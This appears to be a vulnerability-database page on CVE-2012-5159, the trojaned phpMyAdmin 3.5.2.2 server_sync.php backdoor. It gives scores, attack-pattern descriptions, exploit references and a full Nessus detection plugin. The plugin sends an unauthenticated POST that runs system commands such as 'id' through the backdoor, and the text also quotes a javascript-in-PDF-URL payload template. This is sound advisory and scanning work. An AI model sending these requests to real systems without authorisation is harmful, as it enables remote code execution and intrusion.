Vulnerabilities > CVE-2012-5159 - Code Injection vulnerability in PHPmyadmin 3.5.2.2

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
phpmyadmin
CWE-94
nessus
exploit available
metasploit

Summary

phpMyAdmin 3.5.2.2, as distributed by the cdnetworks-kr-1 mirror during an unspecified time frame in 2012, contains an externally introduced modification (Trojan Horse) in server_sync.php, which allows remote attackers to execute arbitrary PHP code via an eval injection attack. Although not found in all distributions of this software, the vulnerability was scored assuming that it was. End-users will need to identify whether their distribution does in fact contain the vulnerability.

Vulnerable Configurations

Part Description Count
Application
Phpmyadmin
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Manipulating User-Controlled Variables
    This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

Exploit-Db

descriptionphpMyAdmin 3.5.2.2 server_sync.php Backdoor. CVE-2012-5159. Webapps exploit for php platform
idEDB-ID:21834
last seen2016-02-02
modified2012-10-10
published2012-10-10
reportermetasploit
sourcehttps://www.exploit-db.com/download/21834/
titlephpMyAdmin 3.5.2.2 server_sync.php Backdoor

Metasploit

descriptionThis module exploits an arbitrary code execution backdoor placed into phpMyAdmin v3.5.2.2 through a compromised SourceForge mirror.
idMSF:EXPLOIT/MULTI/HTTP/PHPMYADMIN_3522_BACKDOOR
last seen2020-05-26
modified2017-07-24
published2012-09-25
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb
titlephpMyAdmin 3.5.2.2 server_sync.php Backdoor

Nessus

NASL familyCGI abuses
NASL idPHPMYADMIN_PMASA_2012_5.NASL
descriptionThe phpMyAdmin install hosted on the remote web server contains a backdoor script, probably obtained from the cdnetworks-kr-1 SourceForge.net mirror site as part of the file phpMyAdmin-3.5.2.2-all-languages.zip. An unauthenticated, remote attacker can use this backdoor to execute arbitrary PHP code on the remote host, subject to the privileges under which the web server operates. Note that the bogus distribution file is also reported to have contained a modified version of the file js/cross_framing_protection.js, although Nessus has not tested for that.
last seen2020-06-01
modified2020-06-02
plugin id62312
published2012-09-26
reporterThis script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/62312
titlephpMyAdmin server_sync.php Backdoor (PMASA-2012-5)
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(62312);
  script_version("1.12");
  script_cvs_date("Date: 2019/12/04");

  script_cve_id("CVE-2012-5159");
  script_bugtraq_id(55672);

  script_name(english:"phpMyAdmin server_sync.php Backdoor (PMASA-2012-5)");
  script_summary(english:"Tries to execute a command");

  script_set_attribute(attribute:"synopsis", value:
"A web application hosted on the remote web server has a backdoor.");
  script_set_attribute(attribute:"description", value:
"The phpMyAdmin install hosted on the remote web server contains a
backdoor script, probably obtained from the cdnetworks-kr-1
SourceForge.net mirror site as part of the file
phpMyAdmin-3.5.2.2-all-languages.zip.  An unauthenticated, remote
attacker can use this backdoor to execute arbitrary PHP code on the
remote host, subject to the privileges under which the web server
operates.

Note that the bogus distribution file is also reported to have contained
a modified version of the file js/cross_framing_protection.js, although
Nessus has not tested for that.");
  script_set_attribute(attribute:"see_also", value:"https://www.phpmyadmin.net/security/PMASA-2012-5/");
  script_set_attribute(attribute:"solution", value:
"Remove the affected phpMyAdmin install and conduct a full security
review of the web server, as it may have been compromised.  Use only a
trusted mirror to download the application again.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'phpMyAdmin 3.5.2.2 server_sync.php Backdoor');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'D2ExploitPack');

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/09/25");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/09/25");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/09/26");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:phpmyadmin:phpmyadmin");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("phpMyAdmin_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("www/PHP", "www/phpMyAdmin");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, php:TRUE);

install = get_install_from_kb(
  appname      : "phpMyAdmin",
  port         : port,
  exit_on_fail : TRUE
);
dir = install['dir'];

if (report_paranoia < 2 && (os = get_kb_item('Host/OS')))
{
  if ('Windows' >< os)
    cmds = make_list('ipconfig /all');
  else
    cmds = make_list('id');
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats['id'] = 'uid=[0-9]+.*gid=[0-9]+.*';
cmd_pats['ipconfig /all'] = 'Windows IP Configuration';

foreach cmd (cmds)
{
  php = 'system("' + cmd + '");';
  res = http_send_recv3(
    method       : 'POST',
    port         : port,
    item         : dir + "/server_sync.php",
    data         : "c=" + urlencode(str:php),
    content_type : "application/x-www-form-urlencoded",
    exit_on_fail : TRUE
  );

  if (egrep(pattern:cmd_pats[cmd], string:res[2]))
  {
    if (report_verbosity > 0)
    {
      report =
        '\n' + "Nessus was able to execute the command '" + cmd + "' on the remote" +
        '\n' + 'host using the following request :' +
        '\n' +
        '\n' + crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30) +
        '\n' + http_last_sent_request() +
        '\n' + crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30) + 
        '\n';
      if (report_verbosity > 1)
      {
        report +=
          '\n' + 'This produced the following output :' +
          '\n' +
          '\n' + data_protection::sanitize_uid(output:chomp(res[2])) +
          '\n' +
          '\n';
      }
      security_hole(port:port, extra:report);
    }
    else security_hole(port);
    exit(0);
  }
}
audit(AUDIT_WEB_APP_NOT_AFFECTED, "phpMyAdmin", build_url(qs:dir+'/', port:port));

Seebug

bulletinFamilyexploit
descriptionBUGTRAQ ID: 55672 CVE ID: CVE-2012-5159 phpMyAdmin是一个用PHP编写的,可以通过web方式控制和操作MySQL数据库。 phpMyAdmin通过&quot;cdnetworks-kr-1&quot; SourceForge mirror系统分发的phpMyAdmin 3.5.2.2及其他版本源文件为phpMyAdmin-3.5.2.2-all-languages.zip,其中包含名为server_sync.php的木马,可允许远程攻击者通过调用eval()攻击执行任意命令。 0 phpMyAdmin 3.5.2.2 厂商补丁: phpMyAdmin ---------- phpMyAdmin已经为此发布了一个安全公告(PMASA-2012-5)以及相应补丁: PMASA-2012-5:PMASA-2012-5 链接:http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php
idSSV:60402
last seen2017-11-19
modified2012-09-26
published2012-09-26
reporterRoot
titlephpMyAdmin 'server_sync.php'远程后门漏洞